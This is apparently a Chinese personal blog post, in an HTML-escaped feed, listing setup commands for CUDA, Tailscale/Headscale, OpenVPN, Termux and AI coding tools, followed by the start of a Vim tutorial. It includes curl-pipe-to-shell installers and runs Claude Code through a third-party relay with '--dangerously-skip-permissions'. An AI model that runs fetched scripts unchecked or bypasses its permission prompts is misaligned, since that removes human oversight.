# 安装推荐版本（如575 =&amp;gt; cuda12.9）
sudo apt install nvidia-driver-575
# 禁用 Nouveau 驱动
echo &quot;blacklist nouveau&quot; | sudo tee /etc/modprobe.d/blacklist-nouveau.conf
sudo update-initramfs -u
sudo reboot

sudo nvidia-smi -pm 1
nvidia-smi
watch -n 1 nvidia-smi

## e.g. GTX1060 特化版本
# 安装 535 驱动
sudo apt install -y nvidia-driver-535
# 重建内核模块
sudo dpkg-reconfigure nvidia-dkms-535
sudo update-initramfs -u
# 添加 CUDA 12.2 官方仓库
wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2204/x86_64/cuda-ubuntu2204.pin
sudo mv cuda-ubuntu2204.pin /etc/apt/preferences.d/cuda-repository-pin-600
# 下载并安装CUDA 12.2的本地仓库包
wget https://developer.download.nvidia.com/compute/cuda/12.2.0/local_installers/cuda-repo-ubuntu2204-12-2-local_12.2.0-535.54.03-1_amd64.deb
sudo dpkg -i cuda-repo-ubuntu2204-12-2-local_12.2.0-535.54.03-1_amd64.deb
# 将密钥环复制到正确位置
sudo cp /var/cuda-repo-ubuntu2204-12-2-local/cuda-*-keyring.gpg /usr/share/keyrings/
sudo apt update
# 安装CUDA 12.2工具包（不包含驱动，因为已单独安装）
sudo apt install -y cuda-toolkit-12-2

sudo ln -s /usr/local/cuda-12.2 /usr/local/cuda

conda install -c nvidia cudnn cudatoolkit=12.2
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;tailscale&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;https://tailscale.com/
## 安装Tailscale
### Linux
curl -fsSL https://tailscale.com/install.sh | sh
### Windows
https://mirrors.scutosc.cn/repository/tailscale/stable/tailscale-setup-latest.exe
### MacOS
https://mirrors.scutosc.cn/repository/tailscale/stable/Tailscale-latest-macos.pkg
### Andriod
release: https://github.com/tailscale/tailscale-android/releases/
you can also accelerate your download here: https://hub.samuka007.com/tailscale/tailscale-android/releases （x

## 如何使用
### Linux
# 将返回的链接COPY到浏览器打开，在浏览器登录验证
sudo tailscale up
# 打开开机自启
sudo systemctl enable tailscaled
### Windows
- Windows点击右下角的 `∧` ，点击 `Log in`
### MacOS
- 副歌v我50（x
### Andriod
- 直接打开登录

# 查看组网情况
tailscale status
# IP  Name  User  OS status

# More 
tailscale status --json
tailscale set
tailscale configure
tailscale file
scp A B # from A to B
tailscale ip
tailscale netcheck
tailscale configure

## handscale 
sudo apt install iproute2
wget https://github.com/juanfont/headscale/releases/download/v0.26.0/headscale_0.26.0_linux_amd64.deb
sudo dpkg -i headscale_0.26.0_linux_amd64.deb

sudo headscale users create kkubun
# 生成预授权密钥
sudo headscale preauthkeys create --reusable -e 180d -u &amp;lt;用户ID&amp;gt;
sudo headscale preauthkeys ls -u kkubun
# 为整个组织创建密钥
headscale preauthkeys create -u 0 -e 180d -r -o

sudo headscale nodes ls
sudo headscale nodes list-routes
sudo headscale users ls


tailscale up --login-server=http://&amp;lt;headscale-server&amp;gt;:8080 --authkey &amp;lt;key&amp;gt;

## 流量出口
## server 
echo &apos;net.ipv4.ip_forward = 1&apos; | sudo tee -a /etc/sysctl.conf
echo &apos;net.ipv6.conf.all.forwarding = 1&apos; | sudo tee -a /etc/sysctl.conf
sudo sysctl -p  # 立即生效
# iptables 
sudo iptables -A FORWARD -i tailscale0 -j ACCEPT
sudo iptables -A FORWARD -o tailscale0 -m state --state RELATED,ESTABLISHED -j ACCEPT
# 添加流量伪装规则（替换 youreth0 为实际外网网卡名）
sudo iptables -t nat -A POSTROUTING -o youreth0 -j MASQUERADE
# 保存规则（若使用 netfilter-persistent）
sudo netfilter-persistent save

echo &apos;net.ipv4.ip_forward = 1&apos; | sudo tee -a /etc/sysctl.d/99-tailscale.conf
echo &apos;net.ipv6.conf.all.forwarding = 1&apos; | sudo tee -a /etc/sysctl.d/99-tailscale.conf
sudo sysctl -p /etc/sysctl.d/99-tailscale.conf

sudo tailscale up --accept-routes --advertise-routes=192.168.1.0/24 --advertise-exit-node
# sudo tailscale up --accept-dns=true --accept-routes=true --login-server=https://yourheadscale.com --advertise-routes=192.168.1.0/24 --advertise-exit-node

![Tailscale 管理后台](https://login.tailscale.com/admin/machines) ​Edit route settings​ -&amp;gt; ​​Use as exit node​​
# ip route show default 
# 停止宣告出口节点​
sudo tailscale up --advertise-exit-node=false

## client 
sudo tailscale up --exit-node=&amp;lt;节点IP或主机名&amp;gt; --exit-node-allow-lan-access
# 清除出口节点配置
sudo tailscale up --exit-node=&quot;&quot;


## tailscale 多开
sudo mkdir -p /var/lib/tailscale-mylab # 实例的专用目录
sudo mkdir -p /run/tailscale-mylab     # socket目录
# 开机自启
sudo vim /etc/systemd/system/tailscaled-mylab.service
[Unit]
Description=Tailscale Lab Instance
After=network.target

[Service]
Type=simple
ExecStart=/usr/sbin/tailscaled \
    --statedir=/var/lib/tailscale-mylab \
    --socket=/run/tailscale-mylab/tailscaled.sock \
    --tun=tailscale-mylab \
    --port=41642
Restart=on-failure
RestartSec=5s

[Install]
WantedBy=multi-user.target
# 启用服务
sudo systemctl enable --now tailscaled-mylab.service
# 临时启动（不使用 systemd）
# sudo tailscaled \
#   --statedir=/var/lib/tailscale-mylab \
#   --socket=/run/tailscale-mylab/tailscaled.sock \
#   --tun=tailscale-mylab \
#   --port=41642 &amp;amp;

# 绝对不能双接收路由 (--accept-routes=true) 否则内核路由表会被多个tailscale实例疯狂地互相覆盖，导致网络中断。DNS同理。
sudo tailscale --socket=/run/tailscale-mylab/tailscaled.sock up \
  --accept-dns=false \
  --accept-routes=false \
  --advertise-routes=192.168.1.0/24 \
  --advertise-exit-node

sudo tailscale --socket=/run/tailscale-mylab/tailscaled.sock status # 查看网络状态
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// tailscale ACLs
{
	// ============ 1. 定义用户组 ============
	&quot;groups&quot;: {
		&quot;group:infra&quot;:      [&quot;oeasy1412@github&quot;],
		&quot;group:developers&quot;: [],
		&quot;group:support&quot;:    [],
	},

	// ============ 2. 定义标签及所有者 ============
	&quot;tagOwners&quot;: {
		&quot;tag:prod-servers&quot;:     [&quot;group:infra&quot;],
		&quot;tag:dev-servers&quot;:      [&quot;group:infra&quot;],
		&quot;tag:public-resources&quot;: [&quot;group:infra&quot;],
		&quot;tag:exit-node&quot;:        [&quot;group:infra&quot;],
		&quot;tag:user-devices&quot;:     [&quot;autogroup:admin&quot;],
	},

	// ============ 主机别名 ============
	&quot;hosts&quot;: {
		&quot;corp-network&quot;: &quot;192.168.199.0/24&quot;,
	},

	// ============ 3. 核心访问规则 ============
	&quot;acls&quot;: [
		// ---- 基础访问规则 ----
		// 禁止所有流量（覆盖默认allow-all）
		// { &quot;action&quot;: &quot;deny&quot;, &quot;src&quot;: [&quot;*&quot;], &quot;dst&quot;: [&quot;*:*&quot;] },
		// 允许用户访问自己的设备
		{
			&quot;action&quot;: &quot;accept&quot;,
			&quot;src&quot;:    [&quot;autogroup:member&quot;], // 所有已认证成员
			&quot;dst&quot;:    [&quot;autogroup:self:*&quot;],
		},

		// ---- 生产环境访问 ----
		// 基础设施团队可访问所有生产服务器
		{
			&quot;action&quot;: &quot;accept&quot;,
			&quot;src&quot;:    [&quot;group:infra&quot;],
			&quot;dst&quot;:    [&quot;tag:prod-servers:*&quot;],
			// &quot;srcPosture&quot;: [&quot;posture:secure-access&quot;],
		},
		// 支持团队只能访问特定端口
		{
			&quot;action&quot;: &quot;accept&quot;,
			&quot;src&quot;:    [&quot;group:support&quot;],
			&quot;dst&quot;: [
				&quot;tag:prod-servers:22&quot;,
				&quot;tag:prod-servers:80&quot;,
				&quot;tag:prod-servers:443&quot;,
				&quot;tag:prod-servers:8080&quot;,
			],
		},

		// ---- 开发环境访问 ----
		// 开发者访问开发服务器
		{
			&quot;action&quot;: &quot;accept&quot;,
			&quot;src&quot;:    [&quot;group:developers&quot;],
			&quot;dst&quot;:    [&quot;tag:dev-servers:*&quot;],
		},

		// ==== 公共资源访问 ====
		// 允许访问公共资源
		{
			&quot;action&quot;: &quot;accept&quot;,
			// &quot;src&quot;:    [&quot;*&quot;],
			&quot;src&quot;: [&quot;autogroup:member&quot;],
			&quot;dst&quot;: [&quot;tag:public-resources:*&quot;],
		},

		// ==== 出口节点规则 ====
		{
			&quot;action&quot;: &quot;accept&quot;,
			&quot;src&quot;:    [&quot;group:infra&quot;],
			&quot;dst&quot;:    [&quot;tag:exit-node:*&quot;],
		},
		// 允许 infra 组的成员使用出口节点访问互联网
		{
			&quot;action&quot;: &quot;accept&quot;,
			&quot;src&quot;:    [&quot;group:infra&quot;],
			&quot;dst&quot;:    [&quot;autogroup:internet:*&quot;],
		},
		// 允许 infra 组的成员访问公司子网
		{
			&quot;action&quot;: &quot;accept&quot;,
			&quot;src&quot;:    [&quot;group:infra&quot;],
			&quot;dst&quot;:    [&quot;corp-network:*&quot;],
		},
	],

	// ============ 自动审批设置 ============
	&quot;autoApprovers&quot;: {
		&quot;exitNode&quot;: [&quot;group:infra&quot;, &quot;tag:exit-node&quot;],
		&quot;routes&quot;: {
			&quot;192.168.199.0/24&quot;: [&quot;group:infra&quot;],
		},
	},

	// ============ 安全要求 ============
	// &quot;postures&quot;: {
	// 	&quot;posture:secure-access&quot;: [
	// 		&quot;node:tsAutoUpdate&quot;,                   // 必须开启自动更新
	// 		&quot;node:tsReleaseTrack == &apos;stable&apos;&quot;, // 必须使用稳定版本
	// 		&quot;node:os != &apos;windows&apos;&quot;,                // 禁止从Windows设备访问
	// 		&quot;node:hasSSHKeys == true&quot;              // 必须配置SSH密钥
	// 	],
	// },

	// ============ 4. SSH访问控制 ============
	&quot;ssh&quot;: [
		// 管理员可SSH到所有设备
		{
			&quot;action&quot;: &quot;accept&quot;,
			&quot;src&quot;:    [&quot;group:infra&quot;],
			&quot;dst&quot;: [
				&quot;tag:prod-servers&quot;,
				&quot;tag:dev-servers&quot;,
				&quot;tag:public-resources&quot;,
				&quot;tag:exit-node&quot;,
			],
			&quot;users&quot;: [&quot;root&quot;, &quot;autogroup:nonroot&quot;],
		},

		// 开发者只能SSH到开发服务器
		{
			&quot;action&quot;: &quot;check&quot;,
			&quot;src&quot;:    [&quot;group:developers&quot;],
			&quot;dst&quot;:    [&quot;tag:dev-servers&quot;],
			&quot;users&quot;:  [&quot;autogroup:nonroot&quot;],
		},
	],

	// ============ 5. 规则测试 ============
	&quot;tests&quot;: [
		// 验证管理员访问权限
		{
			&quot;src&quot;:    &quot;oeasy1412@github&quot;,
			&quot;accept&quot;: [&quot;tag:prod-servers:22&quot;],
			&quot;deny&quot;:   [&quot;tag:dev-servers:22&quot;],
		},
	],
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Claude Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;node -v &amp;amp;&amp;amp; npm -v # 如果考虑用fnm: curl -fsSL https://fnm.vercel.app/install | bash
npm install -g @anthropic-ai/claude-code
npm install -g @musistudio/claude-code-router

vim ~/.config/fish/config.fish
function gptcc
    env ANTHROPIC_BASE_URL=https://model.imkk.us \
        ANTHROPIC_AUTH_TOKEN=&quot;sk-你的中转key&quot; \
        claude $argv
end

## /plugin
# &quot;enabledPlugins&quot;: {
#   &quot;pr-review-toolkit@claude-plugins-official&quot;: true,
#   &quot;context7@claude-plugins-official&quot;: true,
#   &quot;skill-creator@claude-plugins-official&quot;: true,
#   &quot;rust-analyzer-lsp@claude-plugins-official&quot;: true,
#   &quot;gopls-lsp@claude-plugins-official&quot;: true,
#   &quot;frontend-design@claude-plugins-official&quot;: true
# }

## ccr(claude-code-router)配置切换
function ccrc
    cp ~/.claude-code-router/config-base.json ~/.claude-code-router/config.json
    and ccr code
end

function ccr-free
    cp ~/.claude-code-router/config-free.json ~/.claude-code-router/config.json
    and ccr code
end
# alias ccr-free=&apos;cp ~/.claude-code-router/config-free.json ~/.claude-code-router/config.json &amp;amp;&amp;amp; ccr code&apos;

gptcc ---dangerously-skip-permissions 
ccr stop &amp;amp;&amp;amp; ccr start 
ccr-free 

## 配置ccr: ~/.claude-code-router/config.json
vim ~/.claude-code-router/config-free.json 
{
  &quot;LOG&quot;: true,
  &quot;LOG_LEVEL&quot;: &quot;info&quot;,
  &quot;PORT&quot;: 3456,
  &quot;Providers&quot;: [
    {
      &quot;name&quot;: &quot;zhipu&quot;,
      &quot;api_base_url&quot;: &quot;https://open.bigmodel.cn/api/paas/v4/chat/completions&quot;,
      &quot;api_key&quot;: &quot;&quot;, 
      &quot;models&quot;: [
        &quot;glm-4.6v-flash&quot;,
        &quot;glm-4.5-flash&quot;,
        &quot;glm-4.1v-thinking-flash&quot;,
        &quot;glm-4-flash&quot;
      ],
      &quot;transformer&quot;: &quot;openai&quot;
    }
  ],
  &quot;StatusLine&quot;: {
    &quot;enabled&quot;: true,
    &quot;currentStyle&quot;: &quot;default&quot;,
    &quot;default&quot;: {
      &quot;modules&quot;: [
        {
          &quot;type&quot;: &quot;workDir&quot;,
          &quot;icon&quot;: &quot;&quot;,
          &quot;text&quot;: &quot;{{workDirName}}&quot;,
          &quot;color&quot;: &quot;#66CCFF&quot;
        },
        {
          &quot;type&quot;: &quot;gitBranch&quot;,
          &quot;icon&quot;: &quot;🌿&quot;,
          &quot;text&quot;: &quot;({{gitBranch}})&quot;,
          &quot;color&quot;: &quot;bright_green&quot;
        },
        {
          &quot;type&quot;: &quot;model&quot;,
          &quot;icon&quot;: &quot;&quot;,
          &quot;text&quot;: &quot;{{model}}&quot;,
          &quot;color&quot;: &quot;#00FFCC&quot;
        },
        {
          &quot;type&quot;: &quot;usage&quot;,
          &quot;icon&quot;: &quot;📊&quot;,
          &quot;text&quot;: &quot;{{inputTokens}} → {{outputTokens}}&quot;,
          &quot;color&quot;: &quot;#EE0000&quot;,
          &quot;background&quot;: &quot;&quot;
        }
      ]
    },
    &quot;powerline&quot;: {
      &quot;modules&quot;: [
        {
          &quot;type&quot;: &quot;workDir&quot;,
          &quot;icon&quot;: &quot;󰉋&quot;,
          &quot;text&quot;: &quot;{{workDirName}}&quot;,
          &quot;color&quot;: &quot;bright_blue&quot;
        },
        {
          &quot;type&quot;: &quot;gitBranch&quot;,
          &quot;icon&quot;: &quot;🌿&quot;,
          &quot;text&quot;: &quot;{{gitBranch}}&quot;,
          &quot;color&quot;: &quot;bright_green&quot;
        },
        {
          &quot;type&quot;: &quot;model&quot;,
          &quot;icon&quot;: &quot;🤖&quot;,
          &quot;text&quot;: &quot;{{model}}&quot;,
          &quot;color&quot;: &quot;bright_yellow&quot;
        },
        {
          &quot;type&quot;: &quot;usage&quot;,
          &quot;icon&quot;: &quot;📊&quot;,
          &quot;text&quot;: &quot;{{inputTokens}} → {{outputTokens}}&quot;,
          &quot;color&quot;: &quot;bright_magenta&quot;
        }
      ]
    }
  },
  &quot;Router&quot;: {
    &quot;default&quot;: &quot;zhipu,glm-4.5-flash&quot;,
    &quot;think&quot;: &quot;zhipu,glm-4.1v-thinking-flash&quot;, 
    &quot;background&quot;: &quot;zhipu,glm-4-flash&quot;,
    &quot;longContext&quot;: &quot;zhipu,glm-4.5-flash&quot;,
    &quot;longContextThreshold&quot;: 128000,
    &quot;webSearch&quot;: &quot;zhipu,glm-4.6v-flash&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Codex&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;https://www.bilibili.com/video/BV1wm4UzfEbr/

## ~/.codex/config.toml
model_provider = &quot;imkk&quot;
model = &quot;gpt-5.2-codex&quot;  # gpt-5.4
model_reasoning_effort = &quot;high&quot;
plan_mode_reasoning_effort = &quot;high&quot;
preferred_auth_method = &quot;apikey&quot;

[model_providers.imkk]
name = &quot;IMKK&quot;
base_url = &quot;https://model.imkk.us/v1&quot;
wire_api = &quot;responses&quot;
env_key = &quot;IMKK_API_TOKEN&quot; # set -Ux IMKK_API_TOKEN &quot;sk-你的中转key&quot;
query_params = {}
stream_idle_timeout_ms = 100000

# [model_providers.modelscope]
# name = &quot;modelscope&quot;
# base_url = &quot;https://api-inference.modelscope.cn/v1&quot;
# env_key = &quot;MODELSCOPE_API_KEY&quot;

[features]
skills = true
multi_agent = true
prevent_idle_sleep = true

[projects.&quot;/home/username/DragonOS&quot;]
trust_level = &quot;trusted&quot;

[projects.&quot;/home/username/linux6.6&quot;]
trust_level = &quot;untrusted&quot;

[mcp_servers.context7]
command = &quot;npx&quot;
args = [&quot;-y&quot;, &quot;@upstash/context7-mcp&quot;]

[mcp_servers.chrome-mcp]
command = &quot;npx&quot;
args = [&quot;-y&quot;, &quot;mcp-remote&quot;, &quot;http://127.0.0.1:12306/mcp&quot;]

## UI skills
# npm install -g uipro-cli
# uipro init --ai codex
## spec-kit (https://github.com/github/spec-kit)
# uv tool install specify-cli --force --from git+https://github.com/github/spec-kit.git
# specify init &amp;lt;NAME&amp;gt; # constitution specify clarify plan tasks analyze implement 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kilo Code with VSCode in Windows&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# Kilo Code is fast!
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cline with VSCode in Windows&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;```json
{
  &quot;mcpServers&quot;: {
    &quot;context7&quot;: {
      &quot;command&quot;: &quot;npx.cmd&quot;,
      &quot;args&quot;: [
        &quot;-y&quot;,
        &quot;@upstash/context7-mcp&quot;
      ],
      &quot;disabled&quot;: false,
      &quot;autoApprove&quot;: []
    },
    &quot;filesystem&quot;: {
      &quot;command&quot;: &quot;npx.cmd&quot;,
      &quot;args&quot;: [
        &quot;-y&quot;,
        &quot;@modelcontextprotocol/server-filesystem&quot;
      ],
      &quot;disabled&quot;: false,
      &quot;autoApprove&quot;: []
    },
    &quot;chrome-mcp-stdio&quot;: { # npm install -g mcp-chrome-bridge
      &quot;type&quot;: &quot;stdio&quot;,
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [
        &quot;node&quot;, # https://github.com/hangwin/mcp-chrome/releases
        &quot;D:/nodejs/node_global/node_modules/mcp-chrome-bridge/dist/mcp/mcp-server-stdio.js&quot;
      ]
    },
    &quot;chrome-devtools&quot;: {
      &quot;type&quot;: &quot;stdio&quot;,
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [
        &quot;-y&quot;,
        &quot;chrome-devtools-mcp@latest&quot;, # https://github.com/ChromeDevTools/chrome-devtools-mcp
        &quot;--autoConnect&quot;
      ]
    },
    &quot;excel&quot;: {
      &quot;command&quot;: &quot;cmd&quot;,
      &quot;args&quot;: [
        &quot;/c&quot;,
        &quot;uvx&quot;,
        &quot;excel-mcp-server&quot;,
        &quot;stdio&quot;
      ],
      &quot;disabled&quot;: false,
      &quot;autoApprove&quot;: []
    },
	// STDIO
    &quot;alinche_math&quot;: {
      &quot;timeout&quot;: 60,
      &quot;type&quot;: &quot;stdio&quot;,
      &quot;command&quot;: &quot;D:\\VScode\\PyPI\\my-MCP\\alinche_math\\.venv\\Scripts\\python.exe&quot;,
      &quot;args&quot;: [
        &quot;main.py&quot;,
        &quot;stdio&quot;
      ],
      &quot;disabled&quot;: false,
      &quot;autoApprove&quot;: [],
      &quot;cwd&quot;: &quot;D:\\VScode\\PyPI\\my-MCP\\alinche_math&quot;
    }
	// SSE
    &quot;alinche_math&quot;: {
      &quot;url&quot;: &quot;http://localhost:8000/sse&quot;,
      &quot;disabled&quot;: false,
      &quot;autoApprove&quot;: []
    },
	// streamable HTTP
    &quot;alinche_math&quot;: {
      &quot;url&quot;: &quot;http://localhost:8000/mcp&quot;,
      &quot;disabled&quot;: false,
      &quot;autoApprove&quot;: []
    },
	// PyPI 个人发布的pip包程序
    &quot;alinche-math-mcp-server&quot;: {
      &quot;autoApprove&quot;: [],
      &quot;disabled&quot;: false,
      &quot;timeout&quot;: 10,
      &quot;type&quot;: &quot;stdio&quot;,
      &quot;command&quot;: &quot;cmd&quot;,
      &quot;args&quot;: [
        &quot;/c&quot;,
        &quot;uvx&quot;,
        &quot;alinche-math-mcp-server&quot;,
        &quot;stdio&quot;
      ]
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Obsidian&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;https://www.bilibili.com/video/BV1fZCyBYEuT/
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Sunshine &amp;amp; Moonlight&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;https://github.com/LizardByte/Sunshine/
https://github.com/moonlight-stream/

https://github.com/Axixi2233/moonlight-android/ # 阿西西安卓端修改版
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Termux&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;https://github.com/termux/termux-app/
https://github.com/termux/termux-api/

vim $PREFIX/etc/apt/sources.list # 自带nano
deb https://mirrors.tuna.tsinghua.edu.cn/termux/apt/termux-main stable main
# termux-change-repo # 使用Termux提供的交互式工具更换镜像源
# pkg install tsinghua.sources
# pkg install ustc.sources

pkg update &amp;amp;&amp;amp; pkg upgrade
pkg install vim openssh termux-services
# pkg install htop clang (可选)

whoami
passwd
ifconfig
sshd
# ssh 安卓用户名@IP -p 8022
pkg i termux-services
sv-enable ssh-agent
sv-enable sshd # sv status sshd
vim $PREFIX/etc/termux-login.sh
if tty -s; then
    if pgrep -x &quot;sshd&quot; &amp;gt; /dev/null; then
        echo &quot;sshd is already running.&quot;
    else
        sshd
        echo &quot;Started sshd.&quot;
    fi
    termux-wake-lock # 阻止手机休眠时CPU和网络被挂起
    echo &quot;Welcome Termux!&quot;
fi

vim $PREFIX/etc/ssh/sshd_config
ClientAliveInterval 60
ClientAliveCountMax 3

# scp 传输文件
scp ./main.cpp myHand:~/cpp
# 在您的电脑上创建或编辑SSH客户端配置文件
Host myHand
  HostName 192.168.1.100 # 请替换为您手机的实际局域网IP
  Port 8022
  User u0_a118 # 请替换为Termux中`whoami`命令返回的用户名
  ServerAliveInterval 60
  ServerAliveCountMax 3
  IdentityFile C:\Users\Name\.ssh\myHand_id_rsa # 使用密钥认证(推荐)

termux-setup-storage # 允许访问手机的存储空间

termux-vibrate

termux-media-player play &quot;storage/shared/Music/a.mp3&quot;

termux-camera-info
termux-camera-photo storage/shared/a.jpg

termux-microphone-record -f storage/shared/a.m4a -l 0

ls storage/shared/Android/data/
am start com.tencent.mobileqq/.activity.SplashActivity

termux-battery-status
termux-notification
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;图吧工具箱&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;https://tbtool.dawnstd.cn/
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;MinGW-w64&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;https://winlibs.com/
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;OpenVPN&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# sudo apt update &amp;amp;&amp;amp; sudo apt upgrade -y
sudo apt install openvpn easy-rsa -y
mkdir ~/openvpn-ca
cd ~/openvpn-ca
vim vars
set_var EASYRSA_REQ_COUNTRY    &quot;CN&quot;
set_var EASYRSA_REQ_PROVINCE   &quot;Beijing&quot;
set_var EASYRSA_REQ_CITY       &quot;Beijing&quot;
set_var EASYRSA_REQ_ORG        &quot;MyVPN&quot;
set_var EASYRSA_REQ_EMAIL      &quot;admin@myvpn.com&quot;
set_var EASYRSA_REQ_OU         &quot;MyVPN CA&quot;
set_var EASYRSA_KEY_SIZE       4096
set_var EASYRSA_CA_EXPIRE      3650
set_var EASYRSA_CERT_EXPIRE    1080

sudo ln -s /usr/share/easy-rsa/easyrsa ./easyrsa
./easyrsa init-pki
./easyrsa build-ca nopass # openvpn-CA
## 生成服务器证书和密钥
./easyrsa gen-req server nopass # 这里假设你的name=openvpn-server
./easyrsa sign-req server server
./easyrsa gen-dh # 等待
openvpn --genkey secret pki/ta.key

## ​创建客户端证书请求和密钥
./easyrsa gen-req client1 nopass
./easyrsa sign-req client client1

sudo mkdir /etc/openvpn/server
sudo cp ./pki/ca.crt /etc/openvpn/server/
sudo cp ./pki/issued/server.crt /etc/openvpn/server/
sudo cp ./pki/private/server.key /etc/openvpn/server/
sudo cp ./pki/dh.pem /etc/openvpn/server/
sudo cp ./pki/ta.key /etc/openvpn/server/

sudo vim /etc/openvpn/server/server.conf
## --- 修改server.conf ---
port 1194
proto tcp-server
proto tcp6-server
dev tun

# 证书路径
ca /etc/openvpn/server/ca.crt
cert /etc/openvpn/server/server.crt
key /etc/openvpn/server/server.key
dh /etc/openvpn/server/dh.pem
tls-crypt /etc/openvpn/server/ta.key

# 网络配置
;topology subnet
server 10.8.0.0 255.255.255.0
push &quot;redirect-gateway def1 bypass-dhcp&quot;
push &quot;dhcp-option DNS 1.1.1.1&quot;
push &quot;dhcp-option DNS 8.8.8.8&quot;
;push &quot;route 192.168.1.0 255.255.255.0&quot;
client-to-client
;client-config-dir /etc/openvpn/ccd

# 安全强化
cipher AES-256-GCM
auth SHA512
tls-version-min 1.2
tls-cipher TLS-ECDHE-ECDSA-WITH-AES-256-GCM-SHA384

# 连接设置
keepalive 10 120
user nobody
group nogroup
persist-key
persist-tun

# 日志记录
#journalctl -u openvpn-server@server.service
status /var/log/openvpn/openvpn-status.log
verb 3

# 额外安全措施
# reneg-sec 3600  # 每小时重新协商密钥
# remote-cert-tls client
# verify-client-cert require


## --- 配置转发设置 ---
sudo vim /etc/sysctl.conf
# 取消注释
#net.ipv4.ip_forward=1
sudo sysctl -p
sudo ufw allow 1194/tcp
sudo ufw allow ssh

# ​​设置 NAT 规则 (伪装):​​ 这是为了让 VPN 客户端能通过服务器访问互联网
# sudo vim /etc/ufw/before.rules
# NAT table rules for OpenVPN
# *nat
# :POSTROUTING ACCEPT [0:0]
# -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
# COMMIT
sudo vim /etc/default/ufw
DEFAULT_FORWARD_POLICY=&quot;ACCEPT&quot;

sudo mkdir -p /etc/openvpn/ccd
sudo vim /etc/openvpn/ccd/client1
ifconfig-push 10.8.0.6 10.8.0.1
iroute 192.168.1.0 255.255.255.0

sudo systemctl -f enable openvpn-server@server.service
sudo systemctl start openvpn-server@server.service


# 注意这里的网卡名称（如wlp3s0、eno1等）需要根据实际情况替换
sudo iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o wlp3s0 -j MASQUERADE
sudo iptables -A FORWARD -i wlp3s0 -o tun0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A FORWARD -i tun0 -o wlp3s0 -j ACCEPT

sudo ip6tables -A FORWARD -i tun0 -o eno1 -j ACCEPT
sudo ip6tables -A FORWARD -i eno1 -o tun0 -m state --state RELATED,ESTABLISHED -j ACCEPT

sudo apt install iptables-persistent
sudo netfilter-persistent save

## --- client ---
vim ./client.ovpn

##############################################
# OpenVPN 客户端配置文件
# 最后更新: 2025-09-03
##############################################

client

# 网络设置
dev tun
proto tcp-client
proto tcp6-client
;proto udp

# 服务器连接信息
remote scut6.alinche.dpdns.org 1194
;remote your-server-ip 1194  # 备用服务器地址
resolv-retry infinite

# 连接行为
nobind
persist-key
persist-tun
remote-cert-tls server
verify-x509-name C10VPN-server name

# 安全设置
cipher AES-256-GCM
auth SHA256
auth-nocache
tls-version-min 1.2
tls-cipher TLS-ECDHE-ECDSA-WITH-AES-256-GCM-SHA384
;ignore-unknown-option block-outside-dns
;reneg-sec 3600

# 性能优化
;sndbuf 0
;rcvbuf 0
;comp-lzo no  # 禁用压缩（安全推荐）
;compress lz4-v2  # 如果需要压缩则启用

# 日志和诊断
verb 3
;mute 20
;log openvpn.log  # 启用日志记录（调试时使用）

# 证书和密钥嵌入部分
&amp;lt;ca&amp;gt;
-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----
&amp;lt;/ca&amp;gt;

&amp;lt;cert&amp;gt;
-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----
&amp;lt;/cert&amp;gt;

&amp;lt;key&amp;gt;
-----BEGIN PRIVATE KEY-----

-----END PRIVATE KEY-----
&amp;lt;/key&amp;gt;

&amp;lt;tls-crypt&amp;gt;
-----BEGIN OpenVPN Static key V1-----

-----END OpenVPN Static key V1-----
&amp;lt;/tls-crypt&amp;gt;

## 数据来源
sudo cat /etc/openvpn/server/ca.crt
sudo cat ./pki/issued/client1.crt
sudo cat ./pki/private/client1.key
sudo cat /etc/openvpn/server/ta.key

# sudo openssl verify -CAfile /etc/openvpn/server/ca.crt ./pki/issued/client1.crt

## --- ddns-go --- （可选）
docker run -d --name ddns-go --restart=always --net=host -v /opt/ddns-go:/root jeessy/ddns-go
# 访问 http://docker对应主机IP:9876/
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Vim 教程</title><link>https://blog.alinche.dpdns.org/posts/vim/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/vim/</guid><description>Vim</description><pubDate>Thu, 01 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;Vim 的核心模式&lt;/h3&gt;
&lt;p&gt;在深入了解快捷键之前，首先需要理解 Vim 的几种核心模式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;命令模式 (Normal Mode):&lt;/strong&gt; 启动 Vim 后默认进入的模式，此模式下所有按键都会被解释为命令，用于移动光标、删除文本等，但不能直接输入文字。这是 Vim 最主要的模式。&lt;/li&gt;
